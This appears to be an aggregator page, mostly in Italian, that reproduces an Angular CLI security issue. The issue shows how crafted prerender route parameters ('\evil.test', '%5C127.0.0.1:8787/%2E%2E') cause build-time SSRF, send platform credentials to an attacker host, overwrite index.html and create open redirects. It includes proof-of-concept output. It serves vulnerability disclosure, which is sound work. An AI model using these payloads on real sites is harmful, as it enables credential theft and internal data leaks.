Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects
I maintainer di solito rispondono entro 1 giorno
Valutazione
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Idoneità per principianti
- 35/100
- Tipo di issue
- Bug
- Chiarezza
- Specificata chiaramente
- Stato di attività
- Attiva
- Stack tecnologico
- angular, typescript
- Ambito
- backend, build-system, security
Direzione di ricerca
Start by reading handlePrerenderParamsReplacement in packages/angular/ssr/src/routes/ng-routes.ts, then trace how the resolved route is used by renderPage in packages/angular/build/src/utils/server-rendering/render-worker.ts and by redirect generation in prerender.ts. Reproduce the supplied backslash and percent-encoded cases with the linked proof of concept. Done means prerendering cannot redirect to an attacker-controlled host, make cross-origin render requests, leak credentials, or overwrite the output page for those inputs.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Command
other
Is this a regression?
- Yes, this behavior used to work in the previous version
The previous version in which this bug was not present was
No response
Description
This is the part of #34474 that escaping doesn't reach. 22.2.5 ships both fixes from that issue, and a getPrerenderParams() value that starts with \ still leaves the application's origin twice: while ng build renders the page, and in the redirect it ships.
handlePrerenderParamsReplacement only checks the type (ng-routes.ts#L553-L570):
if (typeof value !== 'string') {
throw new Error(/* ... */);
}
return parameterName === '**' ? `/${value}` : value;
So \cdn-login.test becomes the route /\cdn-login.test. As a path it looks harmless, but for http: the URL parser reads \ as /, so the route is //cdn-login.test, another host. Two places use the route as a URL:
renderPagebuilds the render request withnew Request(new URL(url, serverURL))(render-worker.ts#L54), so the page renders with that host as its origin, and every relativeHttpClientcall made during the render goes there.- The resolved
redirectTogoes into the generated redirect page (prerender.ts#L258), or intoLocationwithoutputMode: 'server'.
Those values are application data, the docs read them from a service:
const ids = await dataService.getIds();
return ids.map((id) => ({ id }));
So whoever can write one row, through a public signup or as a CMS author, picks where the build connects and where visitors land. The product in the repro validates both inputs (no whitespace, no raw \, no ..) and these still pass, because RouteTree.getPathSegments percent-decodes each segment afterwards (route-tree.ts#L212-L213). One value is enough:
| Value | Entered through | Result |
|---|---|---|
\cdn-login.test |
workspace slug, public signup | /%5Ccdn-login.test redirects to cdn-login.test |
%5C127.0.0.2/docs/getting-started |
CMS page path | the build reads an internal-only service and publishes the response |
%5C127.0.0.1:8787/%2E%2E |
CMS page path | the platform credentials go to 127.0.0.1:8787, and the site's index.html is replaced |
%5Cevil.test/docs/getting-started |
CMS page path | the build sends a request to evil.test |
ng build exits 0 with no warning for all of them.
1. Open redirect. Each workspace gets a vanity URL that lands on its home page:
{ path: ':workspace', children: [
{ path: '', pathMatch: 'full', redirectTo: 'home' },
{ path: 'home', component: WorkspacePage },
]},
With the slug \cdn-login.test the build writes this redirect page:
<meta http-equiv="refresh" content="0; url=/\cdn-login.test/home" />
In Chrome, http://status.statuslane.test/%5Ccdn-login.test ends on http://cdn-login.test/home. The link has no @, no second scheme and no //. escapeHtml leaves the target as it is, since there's nothing in it to escape.
2. Reading an internal service. Docs pages load their body in a resolver, over a relative URL:
inject(HttpClient).get(`/api/content/${path}`, { responseType: 'text' });
With the page path %5C127.0.0.2/docs/getting-started the page renders at http://127.0.0.2, so the build fetches http://127.0.0.2/api/content/docs/getting-started, a service only the CI network can reach. Its response, database URL included, is written into the published page and into ng-state. The attacker never needs an inbound connection, the response comes back through the site. The tail has to name a route that exists, otherwise the build fails with The content returned was empty.
3. Credentials to another host. The home page calls the internal API or/and an interceptor adds the platform token only to relative URLs, which is the usual guard:
if (!req.url.startsWith('/api/internal/')) {
return next(req);
}
return next(
req.clone({
setHeaders: { authorization, 'x-api-key': apiKey, cookie, 'x-ci-deploy-token': ciToken },
}),
);
With %5C127.0.0.1:8787/%2E%2E the URL is still relative when the interceptor runs and the origin is applied later, so all four headers arrive at 127.0.0.1:8787. %2E%2E consumes the host segment when posix.join computes the output path (prerender.ts#L462), so the page is written over the site's own index.html and dist has no odd file name. That write races the real home page: 1 of 3 builds at 0 ms, 3 of 3 when the listener answers after 1500 ms. The credentials go out every time.
4. allowedHosts isn't consulted. The app sets security.allowedHosts: ["localhost"], none of the hosts above is on it, and the build went to all of them. A DNS name works the same. With the page path %5Cevil.test/docs/getting-started the page renders at http://evil.test, and its request only fails because .test doesn't resolve:
evil.test/docs/getting-started/index.html
origin http://evil.test
content "unavailable (Http failure response for http://evil.test/api/c)"
A name the attacker owns would connect. The page gets that origin even though nothing answered, because the origin is set before any request is made. allowedHosts only decides which Host headers the running server answers. A filter on the raw value doesn't help either, since %5C is decoded later.
Minimal Reproduction
Repository: https://github.com/SkyZeroZx/angular-cli-prerender-param-ssrf-poc
There the values arrive over HTTP from the application's own API, through a public signup and a CMS author token. Every host is on loopback.
npm ci
npm run attack
npm run browser
build exit 0, prerendered 12, warnings 0
allowedHosts ["localhost"] (angular.json)
P1 signup "\cdn-login.test" accepted landed
P2 cms "%5C127.0.0.2/docs/getting-started" accepted landed
P3 cms "%5C127.0.0.1:8787/%2E%2E" accepted landed
P4 cms "%5Cevil.test/docs/getting-started" accepted landed
[attacker] GET /api/internal/metrics Host=127.0.0.1:8787 UA=node (not in allowedHosts)
[internal] GET /api/content/docs/getting-started Host=127.0.0.2 UA=node (not in allowedHosts)
Without the lab, one route and one value:
// app.routes.ts
export const routes: Routes = [
{
path: ':tenant',
children: [
{ path: '', redirectTo: 'home', pathMatch: 'full' },
{ path: 'home', component: Page },
],
},
{ path: '**', component: Page },
];
// app.routes.server.ts
export const serverRoutes: ServerRoute[] = [
{
path: ':tenant',
renderMode: RenderMode.Prerender,
getPrerenderParams: async () => [{ tenant: '\\evil.test' }],
},
{ path: '**', renderMode: RenderMode.Client },
];
ng build
NG_ALLOWED_HOSTS=localhost PORT=4000 node dist/<app>/server/server.mjs &
curl -s -o /dev/null -D - http://localhost:4000/%5Cevil.test | grep -i location
location: /\evil.test/home
With --output-mode=static the same value writes a redirect page with the same target.
Exception or Error
Your Environment
Angular CLI 22.2.5
@angular/build 22.2.5
@angular/ssr 22.2.5
@angular/core 22.2.3
Node.js 24.16.0
npm 11.13.0
Windows 11 x64
Chrome 156
Anything else relevant?
No response
- Lingua principale
- TypeScript
- Stelle
- 27k
- Fork
- 11.8k
- Merge medio
- 1g 5h
- PR unite (30g)
- 280
Preparare l'ambiente
- Nessun Dockerfile né file Docker Compose
- Ha un modello di pull request
- Leggi la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di angular/angular-cli
-
Can't use an array of hostnames in --allowedHosts cli parameter in @angular/build:dev-serverForse già presa Una pull request collegata a questa issue è aperta o già unita. Apertaarea: @angular/build gemini-triaged
Difficoltà 2/5 1-3 ore Idoneità per principianti 74/100
angular/angular-cli#33955 ·
I maintainer di solito rispondono entro 1 giorno
-
Allow tests to pass without any test files (e.g. via Vitest `passWithNoTests`)Forse di nuovo libera Una pull request per questa issue è stata chiusa senza essere unita. Apertaarea: @angular/cli gemini-triaged
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
angular/angular-cli#33055 · 1 commento · 3 reazioni ·
I maintainer di solito rispondono entro 1 giorno
-
@angular/build: source-map comment scanner corrupts valid JS containing a regex literalForse già presa @alan-agius4 l’ha presa 1 giorno fa. Apertaarea: @angular/build
Difficoltà 3/5 1-2 giorni Idoneità per principianti 76/100
angular/angular-cli#34590 ·
I maintainer di solito rispondono entro 1 giorno
-
Debug ID changes the bytes of an optimized chunk but not its file name, so cached files fail the SRI checkForse già presa @alan-agius4 l’ha presa 1 giorno fa. Apertaarea: @angular/build
Difficoltà 4/5 3-5 giorni Idoneità per principianti 55/100
angular/angular-cli#34574 · 4 reazioni ·
I maintainer di solito rispondono entro 1 giorno
-
build: ERR_REQUIRE_CYCLE_MODULE when loading oxc-parser in StackBlitz / WebContainerForse già presa Una pull request collegata a questa issue è aperta o già unita. Apertaarea: @angular/build
Difficoltà 3/5 1-2 giorni Idoneità per principianti 55/100
angular/angular-cli#34524 · 5 commenti · 2 reazioni ·
I maintainer di solito rispondono entro 1 giorno
Tutte le issue di angular/angular-cli
Issue simili
-
area: triage theme: undefined
Difficoltà 2/5 1-3 ore Idoneità per principianti 85/100
jhipster/generator-jhipster#35895 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 85/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
paperclipai/paperclip#18396 ·
I maintainer di solito rispondono entro 1 giorno
-
community first-timers-only good first issue hacktoberfest help wanted low hanging fruit up-for-grabs
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 82/100
lingdojo/kana-dojo#33380 · 1 commento · 5 reazioni ·
I maintainer di solito rispondono entro 1 giorno
-
chore other
Difficoltà 2/5 1-3 ore Idoneità per principianti 82/100
alastair-smith/card-games#342 ·
I maintainer di solito rispondono entro 1 giorno